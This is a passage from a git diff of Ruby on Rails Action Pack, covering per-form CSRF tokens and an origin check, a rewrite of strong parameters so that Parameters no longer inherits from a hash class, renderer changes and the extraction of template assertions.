masked_token[0...AUTHENTICITY_TOKEN_LENGTH] + encrypted_csrf_token = masked_token[AUTHENTICITY_TOKEN_LENGTH..-1] + xor_byte_strings(one_time_pad, encrypted_csrf_token) + end + def compare_with_real_token(token, session) ActiveSupport::SecurityUtils.secure_compare(token, real_csrf_token(session)) end + def valid_per_form_csrf_token?(token, session) + if per_form_csrf_tokens + correct_token = per_form_csrf_token( + session, + normalize_action_path(request.fullpath), + request.request_method + ) + + ActiveSupport::SecurityUtils.secure_compare(token, correct_token) + else + false + end + end + def real_csrf_token(session) session[:_csrf_token] ||= SecureRandom.base64(AUTHENTICITY_TOKEN_LENGTH) Base64.strict_decode64(session[:_csrf_token]) end + def per_form_csrf_token(session, action_path, method) + OpenSSL::HMAC.digest( + OpenSSL::Digest::SHA256.new, + real_csrf_token(session), + [action_path, method.downcase].join("#") + ) + end + def xor_byte_strings(s1, s2) - s1.bytes.zip(s2.bytes).map { |(c1,c2)| c1 ^ c2 }.pack('c*') + s2_bytes = s2.bytes + s1.each_byte.with_index { |c1, i| s2_bytes[i] ^= c1 } + s2_bytes.pack('C*') end # The form's authenticity parameter. Override to provide your own. @@ -331,5 +392,21 @@ module ActionController #:nodoc: def protect_against_forgery? allow_forgery_protection end + + # Checks if the request originated from the same origin by looking at the + # Origin header. + def valid_request_origin? + if forgery_protection_origin_check + # We accept blank origin headers because some user agents don't send it. + request.origin.nil? || request.origin == request.base_url + else + true + end + end + + def normalize_action_path(action_path) + uri = URI.parse(action_path) + uri.path.chomp('/') + end end end diff --git a/actionpack/lib/action_controller/metal/rescue.rb b/actionpack/lib/action_controller/metal/rescue.rb index 68cc9a9c9b..17f4030f25 100644 --- a/actionpack/lib/action_controller/metal/rescue.rb +++ b/actionpack/lib/action_controller/metal/rescue.rb @@ -1,20 +1,11 @@ module ActionController #:nodoc: - # This module is responsible to provide `rescue_from` helpers - # to controllers and configure when detailed exceptions must be + # This module is responsible for providing `rescue_from` helpers + # to controllers and configuring when detailed exceptions must be # shown. module Rescue extend ActiveSupport::Concern include ActiveSupport::Rescuable - def rescue_with_handler(exception) - if (exception.respond_to?(:original_exception) && - (orig_exception = exception.original_exception) && - handler_for_rescue(orig_exception)) - exception = orig_exception - end - super(exception) - end - # Override this method if you want to customize when detailed # exceptions must be shown. This method is only called when # consider_all_requests_local is false. By default, it returns @@ -29,7 +20,7 @@ module ActionController #:nodoc: super rescue Exception => exception request.env['action_dispatch.show_detailed_exceptions'] ||= show_detailed_exceptions? - rescue_with_handler(exception) || raise(exception) + rescue_with_handler(exception) || raise end end end diff --git a/actionpack/lib/action_controller/metal/streaming.rb b/actionpack/lib/action_controller/metal/streaming.rb index 04401cad7b..a6115674aa 100644 --- a/actionpack/lib/action_controller/metal/streaming.rb +++ b/actionpack/lib/action_controller/metal/streaming.rb @@ -110,9 +110,9 @@ module ActionController #:nodoc: # This means that, if you have <code>yield :title</code> in your layout # and you want to use streaming, you would have to render the whole template # (and eventually trigger all queries) before streaming the title and all - # assets, which kills the purpose of streaming. For this reason Rails 3.1 - # introduces a new helper called +provide+ that does the same as +content_for+ - # but tells the layout to stop searching for other entries and continue rendering. + # assets, which kills the purpose of streaming. For this purpose, you can use + # a helper called +provide+ that does the same as +content_for+ but tells the + # layout to stop searching for other entries and continue rendering. # # For instance, the template above using +provide+ would be: # @@ -199,7 +199,7 @@ module ActionController #:nodoc: def _process_options(options) #:nodoc: super if options[:stream] - if env["HTTP_VERSION"] == "HTTP/1.0" + if request.version == "HTTP/1.0" options.delete(:stream) else headers["Cache-Control"] ||= "no-cache" diff --git a/actionpack/lib/action_controller/metal/strong_parameters.rb b/actionpack/lib/action_controller/metal/strong_parameters.rb index f19c4201ba..08049d7af8 100644 --- a/actionpack/lib/action_controller/metal/strong_parameters.rb +++ b/actionpack/lib/action_controller/metal/strong_parameters.rb @@ -1,8 +1,10 @@ require 'active_support/core_ext/hash/indifferent_access' +require 'active_support/core_ext/hash/transform_values' require 'active_support/core_ext/array/wrap' require 'active_support/core_ext/string/filters' require 'active_support/rescuable' require 'action_dispatch/http/upload' +require 'rack/test' require 'stringio' require 'set' @@ -11,9 +13,9 @@ module ActionController # # params = ActionController::Parameters.new(a: {}) # params.fetch(:b) - # # => ActionController::ParameterMissing: param not found: b + # # => ActionController::ParameterMissing: param is missing or the value is empty: b # params.require(:a) - # # => ActionController::ParameterMissing: param not found: a + # # => ActionController::ParameterMissing: param is missing or the value is empty: a class ParameterMissing < KeyError attr_reader :param # :nodoc: @@ -23,11 +25,13 @@ module ActionController end end - # Raised when a supplied parameter is not expected. + # Raised when a supplied parameter is not expected and + # ActionController::Parameters.action_on_unpermitted_parameters + # is set to <tt>:raise</tt>. # # params = ActionController::Parameters.new(a: "123", b: "456") # params.permit(:c) - # # => ActionController::UnpermittedParameters: found unexpected keys: a, b + # # => ActionController::UnpermittedParameters: found unpermitted parameters: a, b class UnpermittedParameters < IndexError attr_reader :params # :nodoc: @@ -39,7 +43,7 @@ module ActionController # == Action Controller \Parameters # - # Allows to choose which attributes should be whitelisted for mass updating + # Allows you to choose which attributes should be whitelisted for mass updating # and thus prevent accidentally exposing that which shouldn't be exposed. # Provides two methods for this purpose: #require and #permit. The former is # used to mark parameters as required. The latter is used to set the parameter @@ -95,17 +99,19 @@ module ActionController # environment they should only be set once at boot-time and never mutated at # runtime. # - # <tt>ActionController::Parameters</tt> inherits from - # <tt>ActiveSupport::HashWithIndifferentAccess</tt>, this means - # that you can fetch values using either <tt>:key</tt> or <tt>"key"</tt>. + # You can fetch values of <tt>ActionController::Parameters</tt> using either + # <tt>:key</tt> or <tt>"key"</tt>. # # params = ActionController::Parameters.new(key: 'value') # params[:key] # => "value" # params["key"] # => "value" - class Parameters < ActiveSupport::HashWithIndifferentAccess + class Parameters cattr_accessor :permit_all_parameters, instance_accessor: false cattr_accessor :action_on_unpermitted_parameters, instance_accessor: false + delegate :keys, :key?, :has_key?, :values, :has_value?, :value?, :empty?, :include?, + :as_json, to: :@parameters + # By default, never raise an UnpermittedParameters exception if these # params are present. The default includes both 'controller' and 'action' # because they are added by Rails and should be of no concern. One way @@ -116,16 +122,6 @@ module ActionController cattr_accessor :always_permitted_parameters self.always_permitted_parameters = %w( controller action ) - def self.const_missing(const_name) - super unless const_name == :NEVER_UNPERMITTED_PARAMS - ActiveSupport::Deprecation.warn(<<-MSG.squish) - `ActionController::Parameters::NEVER_UNPERMITTED_PARAMS` has been deprecated. - Use `ActionController::Parameters.always_permitted_parameters` instead. - MSG - - always_permitted_parameters - end - # Returns a new instance of <tt>ActionController::Parameters</tt>. # Also, sets the +permitted+ attribute to the default value of # <tt>ActionController::Parameters.permit_all_parameters</tt>. @@ -142,13 +138,32 @@ module ActionController # params = ActionController::Parameters.new(name: 'Francesco') # params.permitted? # => true # Person.new(params) # => #<Person id: nil, name: "Francesco"> - def initialize(attributes = nil) - super(attributes) + def initialize(parameters = {}) + @parameters = parameters.with_indifferent_access @permitted = self.class.permit_all_parameters end - # Returns a safe +Hash+ representation of this parameter with all - # unpermitted keys removed. + # Returns true if another +Parameters+ object contains the same content and + # permitted flag. + def ==(other) + if other.respond_to?(:permitted?) + self.permitted? == other.permitted? && self.parameters == other.parameters + elsif other.is_a?(Hash) + ActiveSupport::Deprecation.warn <<-WARNING.squish + Comparing equality between `ActionController::Parameters` and a + `Hash` is deprecated and will be removed in Rails 5.1. Please only do + comparisons between instances of `ActionController::Parameters`. If + you need to compare to a hash, first convert it using + `ActionController::Parameters#new`. + WARNING + @parameters == other.with_indifferent_access + else + @parameters == other + end + end + + # Returns a safe <tt>ActiveSupport::HashWithIndifferentAccess</tt> + # representation of this parameter with all unpermitted keys removed. # # params = ActionController::Parameters.new({ # name: 'Senjougahara Hitagi', @@ -160,28 +175,34 @@ module ActionController # safe_params.to_h # => {"name"=>"Senjougahara Hitagi"} def to_h if permitted? - to_hash + convert_parameters_to_hashes(@parameters, :to_h) else slice(*self.class.always_permitted_parameters).permit!.to_h end end - # Returns an unsafe, unfiltered +Hash+ representation of this parameter. + # Returns an unsafe, unfiltered + # <tt>ActiveSupport::HashWithIndifferentAccess</tt> representation of this + # parameter. + # + # params = ActionController::Parameters.new({ + # name: 'Senjougahara Hitagi', + # oddity: 'Heavy stone crab' + # }) + # params.to_unsafe_h + # # => {"name"=>"Senjougahara Hitagi", "oddity" => "Heavy stone crab"} def to_unsafe_h - to_hash + convert_parameters_to_hashes(@parameters, :to_unsafe_h) end alias_method :to_unsafe_hash, :to_unsafe_h - # Convert all hashes in values into parameters, then yield each pair like + # Convert all hashes in values into parameters, then yield each pair in # the same way as <tt>Hash#each_pair</tt> def each_pair(&block) - super do |key, value| - convert_hashes_to_parameters(key, value) + @parameters.each_pair do |key, value| + yield key, convert_hashes_to_parameters(key, value) end - - super end - alias_method :each, :each_pair # Attribute that keeps track of converted arrays, if any, to avoid double @@ -228,19 +249,58 @@ module ActionController self end - # Ensures that a parameter is present. If it's present, returns - # the parameter at the given +key+, otherwise raises an - # <tt>ActionController::ParameterMissing</tt> error. + # This method accepts both a single key and an array of keys. + # + # When passed a single key, if it exists and its associated value is + # either present or the singleton +false+, returns said value: # # ActionController::Parameters.new(person: { name: 'Francesco' }).require(:person) # # => {"name"=>"Francesco"} # + # Otherwise raises <tt>ActionController::ParameterMissing</tt>: + # + # ActionController::Parameters.new.require(:person) + # # ActionController::ParameterMissing: param is missing or the value is empty: person + # # ActionController::Parameters.new(person: nil).require(:person) - # # => ActionController::ParameterMissing: param not found: person + # # ActionController::ParameterMissing: param is missing or the value is empty: person + # + # ActionController::Parameters.new(person: "\t").require(:person) + # # ActionController::ParameterMissing: param is missing or the value is empty: person # # ActionController::Parameters.new(person: {}).require(:person) - # # => ActionController::ParameterMissing: param not found: person + # # ActionController::ParameterMissing: param is missing or the value is empty: person + # + # When given an array of keys, the method tries to require each one of them + # in order. If it succeeds, an array with the respective return values is + # returned: + # + # params = ActionController::Parameters.new(user: { ... }, profile: { ... }) + # user_params, profile_params = params.require(:user, :profile) + # + # Otherwise, the method re-raises the first exception found: + # + # params = ActionController::Parameters.new(user: {}, profile: {}) + # user_params, profile_params = params.require(:user, :profile) + # # ActionController::ParameterMissing: param is missing or the value is empty: user + # + # Technically this method can be used to fetch terminal values: + # + # # CAREFUL + # params = ActionController::Parameters.new(person: { name: 'Finn' }) + # name = params.require(:person).require(:name) # CAREFUL + # + # but take into account that at some point those ones have to be permitted: + # + # def person_params + # params.require(:person).permit(:name).tap do |person_params| + # person_params.require(:name) # SAFER + # end + # end + # + # for example. def require(key) + return key.map { |k| require(k) } if key.is_a?(Array) value = self[key] if value.present? || value == false value @@ -268,7 +328,7 @@ module ActionController # # params.permit(:name) # - # +:name+ passes it is a key of +params+ whose associated value is of type + # +:name+ passes if it is a key of +params+ whose associated value is of type # +String+, +Symbol+, +NilClass+, +Numeric+, +TrueClass+, +FalseClass+, # +Date+, +Time+, +DateTime+, +StringIO+, +IO+, # +ActionDispatch::Http::UploadedFile+ or +Rack::Test::UploadedFile+. @@ -345,7 +405,13 @@ module ActionController # params[:person] # => {"name"=>"Francesco"} # params[:none] # => nil def [](key) - convert_hashes_to_parameters(key, super) + convert_hashes_to_parameters(key, @parameters[key]) + end + + # Assigns a value to a given +key+. The given key may still get filtered out + # when +permit+ is called. + def []=(key, value) + @parameters[key] = value end # Returns a parameter for the given +key+. If the +key+ @@ -356,13 +422,34 @@ module ActionController # # params = ActionController::Parameters.new(person: { name: 'Francesco' }) # params.fetch(:person) # => {"name"=>"Francesco"} - # params.fetch(:none) # => ActionController::ParameterMissing: param not found: none + # params.fetch(:none) # => ActionController::ParameterMissing: param is missing or the value is empty: none # params.fetch(:none, 'Francesco') # => "Francesco" # params.fetch(:none) { 'Francesco' } # => "Francesco" def fetch(key, *args) - convert_hashes_to_parameters(key, super, false) - rescue KeyError - raise ActionController::ParameterMissing.new(key) + convert_value_to_parameters( + @parameters.fetch(key) { + if block_given? + yield + else + args.fetch(0) { raise ActionController::ParameterMissing.new(key) } + end + } + ) + end + + if Hash.method_defined?(:dig) + # Extracts the nested parameter from the given +keys+ by calling +dig+ + # at each step. Returns +nil+ if any intermediate step is +nil+. + # + # params = ActionController::Parameters.new(foo: { bar: { baz: 1 } }) + # params.dig(:foo, :bar, :baz) # => 1 + # params.dig(:foo, :zot, :xyz) # => nil + # + # params2 = ActionController::Parameters.new(foo: [10, 11, 12]) + # params2.dig(:foo, 1) # => 11 + def dig(*keys) + convert_value_to_parameters(@parameters.dig(*keys)) + end end # Returns a new <tt>ActionController::Parameters</tt> instance that @@ -373,7 +460,24 @@ module ActionController # params.slice(:a, :b) # => {"a"=>1, "b"=>2} # params.slice(:d) # => {} def slice(*keys) - new_instance_with_inherited_permitted_status(super) + new_instance_with_inherited_permitted_status(@parameters.slice(*keys)) + end + + # Returns current <tt>ActionController::Parameters</tt> instance which + # contains only the given +keys+. + def slice!(*keys) + @parameters.slice!(*keys) + self + end + + # Returns a new <tt>ActionController::Parameters</tt> instance that + # filters out the given +keys+. + # + # params = ActionController::Parameters.new(a: 1, b: 2, c: 3) + # params.except(:a, :b) # => {"c"=>3} + # params.except(:d) # => {"a"=>1,"b"=>2,"c"=>3} + def except(*keys) + new_instance_with_inherited_permitted_status(@parameters.except(*keys)) end # Removes and returns the key/value pairs matching the given keys. @@ -382,7 +486,7 @@ module ActionController # params.extract!(:a, :b) # => {"a"=>1, "b"=>2} # params # => {"c"=>3} def extract!(*keys) - new_instance_with_inherited_permitted_status(super) + new_instance_with_inherited_permitted_status(@parameters.extract!(*keys)) end # Returns a new <tt>ActionController::Parameters</tt> with the results of @@ -391,36 +495,80 @@ module ActionController # params = ActionController::Parameters.new(a: 1, b: 2, c: 3) # params.transform_values { |x| x * 2 } # # => {"a"=>2, "b"=>4, "c"=>6} - def transform_values - if block_given? - new_instance_with_inherited_permitted_status(super) + def transform_values(&block) + if block + new_instance_with_inherited_permitted_status( + @parameters.transform_values(&block) + ) else - super + @parameters.transform_values end end - # This method is here only to make sure that the returned object has the - # correct +permitted+ status. It should not matter since the parent of - # this object is +HashWithIndifferentAccess+ - def transform_keys # :nodoc: - if block_given? - new_instance_with_inherited_permitted_status(super) + # Performs values transformation and returns the altered + # <tt>ActionController::Parameters</tt> instance. + def transform_values!(&block) + @parameters.transform_values!(&block) + self + end + + # Returns a new <tt>ActionController::Parameters</tt> instance with the + # results of running +block+ once for every key. The values are unchanged. + def transform_keys(&block) + if block + new_instance_with_inherited_permitted_status( + @parameters.transform_keys(&block) + ) else - super + @parameters.transform_keys end end + # Performs keys transformation and returns the altered + # <tt>ActionController::Parameters</tt> instance. + def transform_keys!(&block) + @parameters.transform_keys!(&block) + self + end + # Deletes and returns a key-value pair from +Parameters+ whose key is equal # to key. If the key is not found, returns the default value. If the # optional code block is given and the key is not found, pass in the key # and return the result of block. - def delete(key, &block) - convert_hashes_to_parameters(key, super, false) + def delete(key) + convert_value_to_parameters(@parameters.delete(key)) + end + + # Returns a new instance of <tt>ActionController::Parameters</tt> with only + # items that the block evaluates to true. + def select(&block) + new_instance_with_inherited_permitted_status(@parameters.select(&block)) end # Equivalent to Hash#keep_if, but returns nil if no changes were made. def select!(&block) - convert_value_to_parameters(super) + @parameters.select!(&block) + self + end + alias_method :keep_if, :select! + + # Returns a new instance of <tt>ActionController::Parameters</tt> with items + # that the block evaluates to true removed. + def reject(&block) + new_instance_with_inherited_permitted_status(@parameters.reject(&block)) + end + + # Removes items that the block evaluates to true and returns self. + def reject!(&block) + @parameters.reject!(&block) + self + end + alias_method :delete_if, :reject! + + # Returns values that were assigned to the given +keys+. Note that all the + # +Hash+ objects will be converted to <tt>ActionController::Parameters</tt>. + def values_at(*keys) + convert_value_to_parameters(@parameters.values_at(*keys)) end # Returns an exact copy of the <tt>ActionController::Parameters</tt> @@ -437,11 +585,54 @@ module ActionController end end + # Returns a new <tt>ActionController::Parameters</tt> with all keys from + # +other_hash+ merges into current hash. + def merge(other_hash) + new_instance_with_inherited_permitted_status( + @parameters.merge(other_hash) + ) + end + + # This is required by ActiveModel attribute assignment, so that user can + # pass +Parameters+ to a mass assignment methods in a model. It should not + # matter as we are using +HashWithIndifferentAccess+ internally. + def stringify_keys # :nodoc: + dup + end + + def inspect + "<#{self.class} #{@parameters} permitted: #{@permitted}>" + end + + def method_missing(method_sym, *args, &block) + if @parameters.respond_to?(method_sym) + message = <<-DEPRECATE.squish + Method #{method_sym} is deprecated and will be removed in Rails 5.1, + as `ActionController::Parameters` no longer inherits from + hash. Using this deprecated behavior exposes potential security + problems. If you continue to use this method you may be creating + a security vulnerability in your app that can be exploited. Instead, + consider using one of these documented methods which are not + deprecated: http://api.rubyonrails.org/v#{ActionPack.version}/classes/ActionController/Parameters.html + DEPRECATE + ActiveSupport::Deprecation.warn(message) + @parameters.public_send(method_sym, *args, &block) + else + super + end + end + protected + attr_reader :parameters + def permitted=(new_permitted) @permitted = new_permitted end + def fields_for_style? + @parameters.all? { |k, v| k =~ /\A-?\d+\z/ && (v.is_a?(Hash) || v.is_a?(Parameters)) } + end + private def new_instance_with_inherited_permitted_status(hash) self.class.new(hash).tap do |new_instance| @@ -449,40 +640,56 @@ module ActionController end end - def convert_hashes_to_parameters(key, value, assign_if_converted=true) + def convert_parameters_to_hashes(value, using) + case value + when Array + value.map { |v| convert_parameters_to_hashes(v, using) } + when Hash + value.transform_values do |v| + convert_parameters_to_hashes(v, using) + end.with_indifferent_access + when Parameters + value.send(using) + else + value + end + end + + def convert_hashes_to_parameters(key, value) converted = convert_value_to_parameters(value) - self[key] = converted if assign_if_converted && !converted.equal?(value) + @parameters[key] = converted unless converted.equal?(value) converted end def convert_value_to_parameters(value) - if value.is_a?(Array) && !converted_arrays.member?(value) + case value + when Array + return value if converted_arrays.member?(value) converted = value.map { |_| convert_value_to_parameters(_) } converted_arrays << converted converted - elsif value.is_a?(Parameters) || !value.is_a?(Hash) - value - else + when Hash self.class.new(value) + else + value end end def each_element(object) - if object.is_a?(Array) - object.map { |el| yield el }.compact - elsif fields_for_style?(object) - hash = object.class.new - object.each { |k,v| hash[k] = yield v } - hash - else - yield object + case object + when Array + object.grep(Parameters).map { |el| yield el }.compact + when Parameters + if object.fields_for_style? + hash = object.class.new + object.each { |k,v| hash[k] = yield v } + hash + else + yield object + end end end - def fields_for_style?(object) - object.is_a?(Hash) && object.all? { |k, v| k =~ /\A-?\d+\z/ && v.is_a?(Hash) } - end - def unpermitted_parameters!(params) unpermitted_keys = unpermitted_keys(params) if unpermitted_keys.any? @@ -544,15 +751,13 @@ module ActionController end def array_of_permitted_scalars?(value) - if value.is_a?(Array) - value.all? {|element| permitted_scalar?(element)} + if value.is_a?(Array) && value.all? {|element| permitted_scalar?(element)} + yield value end end - def array_of_permitted_scalars_filter(params, key) - if has_key?(key) && array_of_permitted_scalars?(self[key]) - params[key] = self[key] - end + def non_scalar?(value) + value.is_a?(Array) || value.is_a?(Parameters) end EMPTY_ARRAY = [] @@ -562,17 +767,17 @@ module ActionController # Slicing filters out non-declared keys. slice(*filter.keys).each do |key, value| next unless value + next unless has_key? key if filter[key] == EMPTY_ARRAY # Declaration { comment_ids: [] }. - array_of_permitted_scalars_filter(params, key) - else + array_of_permitted_scalars?(self[key]) do |val| + params[key] = val + end + elsif non_scalar?(value) # Declaration { user: :name } or { user: [:name, :age, { address: ... }] }. params[key] = each_element(value) do |element| - if element.is_a?(Hash) - element = self.class.new(element) unless element.respond_to?(:permit) - element.permit(*Array.wrap(filter[key])) - end + element.permit(*Array.wrap(filter[key])) end end end @@ -620,7 +825,8 @@ module ActionController # end # # In order to use <tt>accepts_nested_attributes_for</tt> with Strong \Parameters, you - # will need to specify which nested attributes should be whitelisted. + # will need to specify which nested attributes should be whitelisted. You might want + # to allow +:id+ and +:_destroy+, see ActiveRecord::NestedAttributes for more information. # # class Person # has_many :pets @@ -640,7 +846,7 @@ module ActionController # # It's mandatory to specify the nested attributes that should be whitelisted. # # If you use `permit` with just the key that points to the nested attributes hash, # # it will return an empty hash. - # params.require(:person).permit(:name, :age, pets_attributes: [ :name, :category ]) + # params.require(:person).permit(:name, :age, pets_attributes: [ :id, :name, :category ]) # end # end # diff --git a/actionpack/lib/action_controller/metal/testing.rb b/actionpack/lib/action_controller/metal/testing.rb index d01927b7cb..ac37b00010 100644 --- a/actionpack/lib/action_controller/metal/testing.rb +++ b/actionpack/lib/action_controller/metal/testing.rb @@ -2,19 +2,8 @@ module ActionController module Testing extend ActiveSupport::Concern - include RackDelegation - - # TODO : Rewrite tests using controller.headers= to use Rack env - def headers=(new_headers) - @_response ||= ActionDispatch::Response.new - @_response.headers.replace(new_headers) - end - # Behavior specific to functional tests module Functional # :nodoc: - def set_response!(request) - end - def recycle! @_url_options = nil self.formats = nil diff --git a/actionpack/lib/action_controller/metal/url_for.rb b/actionpack/lib/action_controller/metal/url_for.rb index fbaa90d521..dbf7241a14 100644 --- a/actionpack/lib/action_controller/metal/url_for.rb +++ b/actionpack/lib/action_controller/metal/url_for.rb @@ -5,9 +5,9 @@ module ActionController # In addition to <tt>AbstractController::UrlFor</tt>, this module accesses the HTTP layer to define # url options like the +host+. In order to do so, this module requires the host class # to implement +env+ which needs to be Rack-compatible and +request+ - # which is either instance of +ActionDispatch::Request+ or an object - # that responds to <tt>host</tt>, <tt>optional_port</tt>, <tt>protocol</tt> and - # <tt>symbolized_path_parameter</tt> methods. + # which is either an instance of +ActionDispatch::Request+ or an object + # that responds to the +host+, +optional_port+, +protocol+ and + # +symbolized_path_parameter+ methods. # # class RootUrl # include ActionController::UrlFor @@ -41,7 +41,11 @@ module ActionController if original_script_name options[:original_script_name] = original_script_name else - options[:script_name] = same_origin ? request.script_name.dup : script_name + if same_origin + options[:script_name] = request.script_name.empty? ? "".freeze : request.script_name.dup + else + options[:script_name] = script_name + end end options.freeze else diff --git a/actionpack/lib/action_controller/middleware.rb b/actionpack/lib/action_controller/middleware.rb deleted file mode 100644 index 437fec3dc6..0000000000 --- a/actionpack/lib/action_controller/middleware.rb +++ /dev/null @@ -1,39 +0,0 @@ -module ActionController - class Middleware < Metal - class ActionMiddleware - def initialize(controller, app) - @controller, @app = controller, app - end - - def call(env) - request = ActionDispatch::Request.new(env) - @controller.build(@app).dispatch(:index, request) - end - end - - class << self - alias build new - - def new(app) - ActionMiddleware.new(self, app) - end - end - - attr_internal :app - - def process(action) - response = super - self.status, self.headers, self.response_body = response if response.is_a?(Array) - response - end - - def initialize(app) - super() - @_app = app - end - - def index - call(env) - end - end -end
\ No newline at end of file diff --git a/actionpack/lib/action_controller/renderer.rb b/actionpack/lib/action_controller/renderer.rb index e8b29c5b5e..5ff4a658ad 100644 --- a/actionpack/lib/action_controller/renderer.rb +++ b/actionpack/lib/action_controller/renderer.rb @@ -13,11 +13,11 @@ module ActionController # # ApplicationController.renderer.render template: '...' # - # You can use a shortcut on controller to replace previous example with: + # You can use this shortcut in a controller, instead of the previous example: # # ApplicationController.render template: '...' # - # #render method allows you to use any options as when rendering in controller. + # #render allows you to use the same options that you can use when rendering in a controller. # For example, # # FooController.render :action, locals: { ... }, assigns: { ... } @@ -34,67 +34,78 @@ module ActionController # ApplicationController.renderer.new(method: 'post', https: true) # class Renderer - class_attribute :controller, :defaults - # Rack environment to render templates in. - attr_reader :env + attr_reader :defaults, :controller - class << self - delegate :render, to: :new + DEFAULTS = { + http_host: 'example.org', + https: false, + method: 'get', + script_name: '', + input: '' + }.freeze - # Create a new renderer class for a specific controller class. - def for(controller) - Class.new self do - self.controller = controller - self.defaults = { - http_host: 'example.org', - https: false, - method: 'get', - script_name: '', - 'rack.input' => '' - } - end - end + # Create a new renderer instance for a specific controller class. + def self.for(controller, env = {}, defaults = DEFAULTS.dup) + new(controller, env, defaults) + end + + # Create a new renderer for the same controller but with a new env. + def new(env = {}) + self.class.new controller, env, defaults + end + + # Create a new renderer for the same controller but with new defaults. + def with_defaults(defaults) + self.class.new controller, env, self.defaults.merge(defaults) end # Accepts a custom Rack environment to render templates in. # It will be merged with ActionController::Renderer.defaults - def initialize(env = {}) - @env = normalize_keys(defaults).merge normalize_keys(env) - @env['action_dispatch.routes'] = controller._routes + def initialize(controller, env, defaults) + @controller = controller + @defaults = defaults + @env = normalize_keys defaults.merge(env) end # Render templates with any options from ActionController::Base#render_to_string. def render(*args) - raise 'missing controller' unless controller? + raise 'missing controller' unless controller - instance = controller.build_with_env(env) + request = ActionDispatch::Request.new @env + request.routes = controller._routes + + instance = controller.new + instance.set_request! request + instance.set_response! controller.make_response!(request) instance.render_to_string(*args) end private def normalize_keys(env) - http_header_format(env).tap do |new_env| - handle_method_key! new_env - handle_https_key! new_env - end + new_env = {} + env.each_pair { |k,v| new_env[rack_key_for(k)] = rack_value_for(k, v) } + new_env end - def http_header_format(env) - env.transform_keys do |key| - key.is_a?(Symbol) ? key.to_s.upcase : key - end - end + RACK_KEY_TRANSLATION = { + http_host: 'HTTP_HOST', + https: 'HTTPS', + method: 'REQUEST_METHOD', + script_name: 'SCRIPT_NAME', + input: 'rack.input' + } - def handle_method_key!(env) - if method = env.delete('METHOD') - env['REQUEST_METHOD'] = method.upcase - end - end + IDENTITY = ->(_) { _ } + + RACK_VALUE_TRANSLATION = { + https: ->(v) { v ? 'on' : 'off' }, + method: ->(v) { v.upcase }, + } + + def rack_key_for(key); RACK_KEY_TRANSLATION[key]; end - def handle_https_key!(env) - if env.has_key? 'HTTPS' - env['HTTPS'] = env['HTTPS'] ? 'on' : 'off' - end + def rack_value_for(key, value) + RACK_VALUE_TRANSLATION.fetch(key, IDENTITY).call value end end end diff --git a/actionpack/lib/action_controller/template_assertions.rb b/actionpack/lib/action_controller/template_assertions.rb new file mode 100644 index 0000000000..0179f4afcd --- /dev/null +++ b/actionpack/lib/action_controller/template_assertions.rb @@ -0,0 +1,9 @@ +module ActionController + module TemplateAssertions + def assert_template(options = {}, message = nil) + raise NoMethodError, + "assert_template has been extracted to a gem. To continue using it, + add `gem 'rails-controller-testing'` to your Gemfile." + end + end +end diff --git a/actionpack/lib/action_controller/test_case.rb b/actionpack/lib/action_controller/test_case.rb index 33c24999f9..ed2edcbe06 100644 --- a/actionpack/lib/action_controller/test_case.rb +++ b/actionpack/lib/action_controller/test_case.rb @@ -1,223 +1,75 @@ require 'rack/session/abstract/id' +require 'active_support/core_ext/hash/conversions' require 'active_support/core_ext/object/to_query' require 'active_support/core_ext/module/anonymous' require 'active_support/core_ext/hash/keys' - +require 'action_controller/template_assertions' require 'rails-dom-testing' module ActionController - module TemplateAssertions - extend ActiveSupport::Concern + # :stopdoc: + class Metal + include Testing::Functional + end - included do - setup :setup_subscriptions - teardown :teardown_subscriptions + module Live + # Disable controller / rendering threads in tests. User tests can access + # the database on the main thread, so they could open a txn, then the + # controller thread will open a new connection and try to access data + # that's only visible to the main thread's txn. This is the problem in #23483 + remove_method :new_controller_thread + def new_controller_thread # :nodoc: + yield end + end - RENDER_TEMPLATE_INSTANCE_VARIABLES = %w{partials templates layouts files}.freeze - - def setup_subscriptions - RENDER_TEMPLATE_INSTANCE_VARIABLES.each do |instance_variable| - instance_variable_set("@_#{instance_variable}", Hash.new(0)) - end - - @_subscribers = [] - - @_subscribers << ActiveSupport::Notifications.subscribe("render_template.action_view") do |_name, _start, _finish, _id, payload| - path = payload[:layout] - if path - @_layouts[path] += 1 - if path =~ /^layouts\/(.*)/ - @_layouts[$1] += 1 - end - end - end - - @_subscribers << ActiveSupport::Notifications.subscribe("!render_template.action_view") do |_name, _start, _finish, _id, payload| - if virtual_path = payload[:virtual_path] - partial = virtual_path =~ /^.*\/_[^\/]*$/ - - if partial - @_partials[virtual_path] += 1 - @_partials[virtual_path.split("/").last] += 1 - end - - @_templates[virtual_path] += 1 - else - path = payload[:identifier] - if path - @_files[path] += 1 - @_files[path.split("/").last] += 1 - end - end - end - end + # ActionController::TestCase will be deprecated and moved to a gem in Rails 5.1. + # Please use ActionDispatch::IntegrationTest going forward. + class TestRequest < ActionDispatch::TestRequest #:nodoc: + DEFAULT_ENV = ActionDispatch::TestRequest::DEFAULT_ENV.dup + DEFAULT_ENV.delete 'PATH_INFO' - def teardown_subscriptions - @_subscribers.each do |subscriber| - ActiveSupport::Notifications.unsubscribe(subscriber) - end + def self.new_session + TestSession.new end - def process(*args) - reset_template_assertion - super + # Create a new test request with default `env` values + def self.create + env = {} + env = Rails.application.env_config.merge(env) if defined?(Rails.application) && Rails.application + env["rack.request.cookie_hash"] = {}.with_indifferent_access + new(default_env.merge(env), new_session) end - def reset_template_assertion - RENDER_TEMPLATE_INSTANCE_VARIABLES.each do |instance_variable| - ivar_name = "@_#{instance_variable}" - if instance_variable_defined?(ivar_name) - instance_variable_get(ivar_name).clear - end - end + def self.default_env + DEFAULT_ENV end + private_class_method :default_env - # Asserts that the request was rendered with the appropriate template file or partials. - # - # # assert that the "new" view template was rendered - # assert_template "new" - # - # # assert that the exact template "admin/posts/new" was rendered - # assert_template %r{\Aadmin/posts/new\Z} - # - # # assert that the layout 'admin' was rendered - # assert_template layout: 'admin' - # assert_template layout: 'layouts/admin' - # assert_template layout: :admin - # - # # assert that no layout was rendered - # assert_template layout: nil - # assert_template layout: false - # - # # assert that the "_customer" partial was rendered twice - # assert_template partial: '_customer', count: 2 - # - # # assert that no partials were rendered - # assert_template partial: false - # - # # assert that a file was rendered - # assert_template file: "README.rdoc" - # - # # assert that no file was rendered - # assert_template file: nil - # assert_template file: false - # - # In a view test case, you can also assert that specific locals are passed - # to partials: - # - # # assert that the "_customer" partial was rendered with a specific object - # assert_template partial: '_customer', locals: { customer: @customer } - def assert_template(options = {}, message = nil) - # Force body to be read in case the template is being streamed. - response.body - - case options - when NilClass, Regexp, String, Symbol - options = 